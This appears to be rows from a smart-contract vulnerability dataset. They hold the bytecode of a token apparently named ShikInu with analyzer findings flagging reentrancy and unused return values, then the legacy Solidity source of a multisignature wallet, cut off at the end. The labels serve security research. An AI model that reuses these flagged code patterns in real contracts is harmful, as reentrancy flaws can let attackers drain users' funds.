d4390612f80565b60405180910390fd5b6000479050610d5a8161200a565b50565b6000610da7600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612076565b9050919050565b610db661176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3a90612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610f0961176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8d90612f80565b60405180910390fd5b682b5e3af16b18800000601581905550682b5e3af16b18800000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5368696b496e7500000000000000000000000000000000000000000000000000815250905090565b600061103261102b61176b565b848461193c565b6001905092915050565b61104461176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c890612f80565b60405180910390fd5b600081116110de57600080fd5b61110d60646110ff83682b5e3af16b18800000611f4690919063ffffffff16565b611fc090919063ffffffff16565b60168190555050565b61111e61176b565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490612f80565b60405180910390fd5b60006111b830610d5d565b90506111c3816120e4565b50565b6111ce61176b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125290612f80565b60405180910390fd5b60148054906101000a900460ff16156112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a0906130e8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061133930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16682b5e3af16b18800000611773565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a8919061311d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561140f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611433919061311d565b6040518363ffffffff1660e01b815260040161145092919061314a565b6020604051808303816000875af115801561146f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611493919061311d565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061151c30610d5d565b600080611527610fb8565b426040518863ffffffff1660e01b8152600401611549969594939291906131b8565b60606040518083038185885af1158015611567573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158c919061322e565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555067de0b6b3a7640000060158190555068014d1120d7b160000060168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161169d929190613281565b6020604051808303816000875af11580156116bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e091906132bf565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d99061335e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611851576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611848906133f0565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161192f9190612be1565b60405180910390a3505050565b6000811161197f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197690613482565b60405180910390fd5b6001601460186101000a81548160ff0219169083151502179055506119a2610fb8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a1057506119e0610fb8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ed257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ac05750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b165750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2e5750601460179054906101000a900460ff165b15611b9b57601554811115611b4257600080fd5b60165481611b4f84610d5d565b611b599190612fcf565b1115611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b91906134ee565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c435750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9c5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d6a57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d455750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d4e57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d7530610d5d565b9050611dc96064611dbb601254611dad601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5d565b611f4690919063ffffffff16565b611fc090919063ffffffff16565b811115611e2557611e226064611e14601254611e06601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d5d565b611f4690919063ffffffff16565b611fc090919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e905750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea85750601460169054906101000a900460ff165b15611ed057611eb6816120e4565b60004790506000811115611ece57611ecd4761200a565b5b505b505b611edd83838361235d565b505050565b6000838311158290611f2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f219190612a2b565b60405180910390fd5b5060008385611f39919061350e565b9050809150509392505050565b6000808303611f585760009050611fba565b60008284611f669190613542565b9050828482611f7591906135cb565b14611fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fac9061366e565b60405180910390fd5b809150505b92915050565b600061200283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061236d565b905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612072573d6000803e3d6000fd5b5050565b60006009548211156120bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b490613700565b60405180910390fd5b60006120c76123d0565b90506120dc8184611fc090919063ffffffff16565b915050919050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561211c5761211b612c01565b5b60405190808252806020026020018201604052801561214a5781602001602082028036833780820191505090505b509050308160008151811061216257612161613025565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612209573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061222d919061311d565b8160018151811061224157612240613025565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122a830601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611773565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161230c9594939291906137de565b600060405180830381600087803b15801561232657600080fd5b505af115801561233a573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b6123688383836123fb565b505050565b600080831182906123b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ab9190612a2b565b60405180910390fd5b50600083856123c391906135cb565b9050809150509392505050565b60008060006123dd6125c6565b915091506123f48183611fc090919063ffffffff16565b9250505090565b60008060008060008061240d87612628565b95509550955095509550955061246b86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126bd90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061250085600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061254c81612765565b6125568483612822565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125b39190612be1565b60405180910390a3505050505050505050565b600080600060095490506000682b5e3af16b1880000090506125fc682b5e3af16b18800000600954611fc090919063ffffffff16565b82101561261b57600954682b5e3af16b18800000935093505050612624565b81819350935050505b9091565b600080600080600080600080600061263e61285c565b61265c576126578a600b60020154600b60030154612873565b612672565b6126718a600b60000154600b60010154612873565b5b92509250925060006126826123d0565b905060008060006126958e878787612909565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126ff83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ee2565b905092915050565b60008082846127169190612fcf565b90508381101561275b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275290613884565b60405180910390fd5b8091505092915050565b600061276f6123d0565b905060006127868284611f4690919063ffffffff16565b90506127da81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270790919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612837826009546126bd90919063ffffffff16565b60098190555061285281600a5461270790919063ffffffff16565b600a819055505050565b6000601460189054906101000a900460ff16905090565b60008060008061289f6064612891888a611f4690919063ffffffff16565b611fc090919063ffffffff16565b905060006128c960646128bb888b611f4690919063ffffffff16565b611fc090919063ffffffff16565b905060006128f2826128e4858c6126bd90919063ffffffff16565b6126bd90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129228589611f4690919063ffffffff16565b905060006129398689611f4690919063ffffffff16565b905060006129508789611f4690919063ffffffff16565b905060006129798261296b85876126bd90919063ffffffff16565b6126bd90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129cc5780820151818401526020810190506129b1565b838111156129db576000848401525b50505050565b6000601f19601f8301169050919050565b60006129fd82612992565b612a07818561299d565b9350612a178185602086016129ae565b612a20816129e1565b840191505092915050565b60006020820190508181036000830152612a4581846129f2565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a8c82612a61565b9050919050565b612a9c81612a81565b8114612aa757600080fd5b50565b600081359050612ab981612a93565b92915050565b6000819050919050565b612ad281612abf565b8114612add57600080fd5b50565b600081359050612aef81612ac9565b92915050565b60008060408385031215612b0c57612b0b612a57565b5b6000612b1a85828601612aaa565b9250506020612b2b85828601612ae0565b9150509250929050565b60008115159050919050565b612b4a81612b35565b82525050565b6000602082019050612b656000830184612b41565b92915050565b60008060008060808587031215612b8557612b84612a57565b5b6000612b9387828801612ae0565b9450506020612ba487828801612ae0565b9350506040612bb587828801612ae0565b9250506060612bc687828801612ae0565b91505092959194509250565b612bdb81612abf565b82525050565b6000602082019050612bf66000830184612bd2565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c39826129e1565b810181811067ffffffffffffffff82111715612c5857612c57612c01565b5b80604052505050565b6000612c6b612a4d565b9050612c778282612c30565b919050565b600067ffffffffffffffff821115612c9757612c96612c01565b5b602082029050602081019050919050565b600080fd5b6000612cc0612cbb84612c7c565b612c61565b90508083825260208201905060208402830185811115612ce357612ce2612ca8565b5b835b81811015612d0c5780612cf88882612aaa565b845260208401935050602081019050612ce5565b5050509392505050565b600082601f830112612d2b57612d2a612bfc565b5b8135612d3b848260208601612cad565b91505092915050565b600060208284031215612d5a57612d59612a57565b5b600082013567ffffffffffffffff811115612d7857612d77612a5c565b5b612d8484828501612d16565b91505092915050565b600080600060608486031215612da657612da5612a57565b5b6000612db486828701612aaa565b9350506020612dc586828701612aaa565b9250506040612dd686828701612ae0565b9150509250925092565b600060208284031215612df657612df5612a57565b5b6000612e0484828501612aaa565b91505092915050565b600060ff82169050919050565b612e2381612e0d565b82525050565b6000602082019050612e3e6000830184612e1a565b92915050565b600060208284031215612e5a57612e59612a57565b5b6000612e6884828501612ae0565b91505092915050565b612e7a81612b35565b8114612e8557600080fd5b50565b600081359050612e9781612e71565b92915050565b600060208284031215612eb357612eb2612a57565b5b6000612ec184828501612e88565b91505092915050565b612ed381612a81565b82525050565b6000602082019050612eee6000830184612eca565b92915050565b60008060408385031215612f0b57612f0a612a57565b5b6000612f1985828601612aaa565b9250506020612f2a85828601612aaa565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f6a60208361299d565b9150612f7582612f34565b602082019050919050565b60006020820190508181036000830152612f9981612f5d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612fda82612abf565b9150612fe583612abf565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561301a57613019612fa0565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061305f82612abf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361309157613090612fa0565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006130d260178361299d565b91506130dd8261309c565b602082019050919050565b60006020820190508181036000830152613101816130c5565b9050919050565b60008151905061311781612a93565b92915050565b60006020828403121561313357613132612a57565b5b600061314184828501613108565b91505092915050565b600060408201905061315f6000830185612eca565b61316c6020830184612eca565b9392505050565b6000819050919050565b6000819050919050565b60006131a261319d61319884613173565b61317d565b612abf565b9050919050565b6131b281613187565b82525050565b600060c0820190506131cd6000830189612eca565b6131da6020830188612bd2565b6131e760408301876131a9565b6131f460608301866131a9565b6132016080830185612eca565b61320e60a0830184612bd2565b979650505050505050565b60008151905061322881612ac9565b92915050565b60008060006060848603121561324757613246612a57565b5b600061325586828701613219565b935050602061326686828701613219565b925050604061327786828701613219565b9150509250925092565b60006040820190506132966000830185612eca565b6132a36020830184612bd2565b9392505050565b6000815190506132b981612e71565b92915050565b6000602082840312156132d5576132d4612a57565b5b60006132e3848285016132aa565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061334860248361299d565b9150613353826132ec565b604082019050919050565b600060208201905081810360008301526133778161333b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006133da60228361299d565b91506133e58261337e565b604082019050919050565b60006020820190508181036000830152613409816133cd565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061346c60298361299d565b915061347782613410565b604082019050919050565b6000602082019050818103600083015261349b8161345f565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006134d8601a8361299d565b91506134e3826134a2565b602082019050919050565b60006020820190508181036000830152613507816134cb565b9050919050565b600061351982612abf565b915061352483612abf565b92508282101561353757613536612fa0565b5b828203905092915050565b600061354d82612abf565b915061355883612abf565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561359157613590612fa0565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006135d682612abf565b91506135e183612abf565b9250826135f1576135f061359c565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061365860218361299d565b9150613663826135fc565b604082019050919050565b600060208201905081810360008301526136878161364b565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006136ea602a8361299d565b91506136f58261368e565b604082019050919050565b60006020820190508181036000830152613719816136dd565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61375581612a81565b82525050565b6000613767838361374c565b60208301905092915050565b6000602082019050919050565b600061378b82613720565b613795818561372b565b93506137a08361373c565b8060005b838110156137d15781516137b8888261375b565b97506137c383613773565b9250506001810190506137a4565b5085935050505092915050565b600060a0820190506137f36000830188612bd2565b61380060208301876131a9565b81810360408301526138128186613780565b90506138216060830185612eca565b61382e6080830184612bd2565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061386e601b8361299d565b915061387982613838565b602082019050919050565b6000602082019050818103600083015261389d81613861565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b22acc5151481d93a82b0bbafa9860c0df84fac370a47d4d93f8d70939dd5bc064736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,997 |
0x619f41607071d69136e8d1617ebccaea9eb331da | /**
*Submitted for verification at Etherscan.io on 2021-05-22
*/
pragma solidity ^0.4.4;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <[email protected]>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
event DailyLimitChange(uint dailyLimit);
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
Transaction tx = transactions[transactionId];
bool confirmed = isConfirmed(transactionId);
if (confirmed || tx.data.length == 0 && isUnderLimit(tx.value)) {
tx.executed = true;
if (!confirmed)
spentToday += tx.value;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
if (!confirmed)
spentToday -= tx.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
